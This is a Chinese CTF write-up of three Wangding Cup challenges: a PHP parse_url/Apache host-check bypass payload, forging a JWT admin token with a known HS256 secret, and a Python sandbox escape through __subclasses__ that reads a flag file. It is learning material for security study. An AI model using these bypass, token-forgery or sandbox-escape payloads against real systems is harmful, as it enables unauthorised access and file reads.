网鼎杯第三场总结(关于parse_url、JWT生成token、python注入)

例行说明:

    比赛过去很久了,才勉强有精力总结一下用到的知识点,主要是关于wp中一笔带过,讲的比较模糊的三个方面总结下。

 

0x01 comein题目关于parse_url函数漏洞(其实只是使用不当)

题目:

ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
    die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
    $uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
    setcookie("AuthFlag","flag{*******");

1、先检测如果uri中 if(stripos($uri,".")) 就会结束,本意应该是不希望uri中出现点字符,但点在第0号位时,stripos函数返回值是0,if(0)不成立,就绕过了。。

2、第二个if是判断若这个uri不是个url,那么给它加上http://还有host还有uri,拼成一个url

3、用parse_url函数获取第二步拼接后$uri的Host,并判断是否等于特定值。

 

问题来了,怎么骗过parse_url函数,通过可控的uri部分,让整个被转换后识别出特定的host?

http://127.0.0.1/index.php 

红色部分是可更改的uri,且第一个字符一定要是. 不然一开始就die了

 

(注意:改uri在burpsuite中改,不要在浏览器地址栏改,浏览器会把你的../自动忽略,可能有莫名bug)

我们先遵守第一条原则,uri的第一项必须是点.

那么经过拼接,必然是 http://127.0.0.1.xxxx

红色部分是可修改的,那如何把这个不标准的host地址能让parse_url函数完美识别呢?

 

利用@符号分隔,把127.0.0.1.识别为user,后边的部分作为host

http://[email protected]/  会被识别为:

array (size=4)
  'scheme' => string 'http' (length=4)
  'host' => string 'abc.com' (length=7)
  'user' => string '127.0.0.1.' (length=10)
  'path' => string '/' (length=1)

即函数认为以用户名叫127.0.0.1.的用户,访问abc.com这个host

这样,host就变得可控了

 

但是问题又来了,搞定PHP端的pase_url函数,应发包 [email protected]/ 但提示bad url

因为apache解析url时出了问题,还需要调整paylaod同时满足后端PHP判断和前端apache的解析

我们看用burpsuite发包时的显示:

GET [email protected]/ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

其实是向127.0.0.1地址,发送请求,请求的路径为 [email protected]/

但我们并没有[email protected]/这个路径,所以,后加个../跳回根目录

即127.0.0.1的根目录,再去根目录找到这个文件的地址 /index.php

所以,最终payload为提交路径

[email protected]/..//index.php

网鼎杯第三场总结(关于parse_url、JWT生成token、python注入)_第1张图片

 

综述:

该漏洞出现的原因是,parse_url函数和apache对地址的解析方式不同。

PHP认为127.0.0.1.是个user,c7f.zhuque.com是真实host

apache认为127.0.0.1是host,[email protected]/是一个路径,后边..//index.php退回根目录,再访问index.php

 

 

 

0x02 JWT方法生成token

知识点基于题目i_am_admin

讨论的是,token的生成方式,关于JWT方式。

 

在JWT方式下,生成一个token,最少需要3部分,3部分之间用.连接

 

第一部分,头,可以是

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

 

它解base64后是
{"alg":"HS256","typ":"JWT"}

表示用HS256加密,生成方式是JWT

 

第二部分是信息部分

eyJ1c2VybmFtZSI6InRlc3QifQ

解base64后是
{"username":"test"}

 

第三部分是 前两部分被密钥加密后的值

要生成第三部分,要先把前两部分用.连接起来

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ

注意中间的点。

 

用一个密钥,把连接起来的值加密,加密结果以base64显示,就是第三部分。

而这个密钥是服务器保存的私钥,用来防止这个token被伪造,因为其他人不知道密钥,就无法伪造出token的第三段

 

若已知密钥为

uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+

想把test用户伪造成admin:

1、第一部分不变,

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

解密后是{"alg":"HS256","typ":"JWT"} 

2、第二部分test改为admin

{"username":"admin"}对它base64加密,加密后不加等号

eyJ1c2VybmFtZSI6ImFkbWluIn0

3、利用已知密钥,计算第三部分

先拼接前两部分为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0

利用编程语言实现HMAC_SHA256加密,这里贴出PHP的利用代码

得到 NYSsNZ1gR8EUYebNTmXPBhdoh+mA5OjHkeWjM4gPxqY=

记得把最后的等号去掉!就是第三部分了

 

所以最后的token是:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.NYSsNZ1gR8EUYebNTmXPBhdoh+mA5OjHkeWjM4gPxqY

 

参考资料

https://www.cnblogs.com/anny0404/p/5318692.html

https://blog.csdn.net/js_sky/article/details/49024959

 

 

 

0x03 python注入

题目本是python模板注入,但本菜鸡太水了,没搞懂,趁机研究一下python逃逸吧。

''.__class__

可以获取到字符串类 str

 

''.__class__.__mro__

可以获取到str类继承过的类,其中,最后一个是object类

 

所以

''.__class__.__mro__[-1]可以获取到object类

 

''.__class__.__mro__[-1].__subclasses__()获取到object的所有子类,非常多

找到第40个是file类,可以操纵文件

 

''.__class__.__mro__[-1].__subclasses__()[40]

即可得到file类

 

调用file类的函数read

''.__class__.__mro__[-1].__subclasses__()[40]('/home/flag').read()

即可打印出flag内容。

 

有待继续学习

参考

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://www.jianshu.com/p/5a7cf3c82608

 

感谢,侵删

 

你可能感兴趣的:(网鼎杯第三场总结(关于parse_url、JWT生成token、python注入))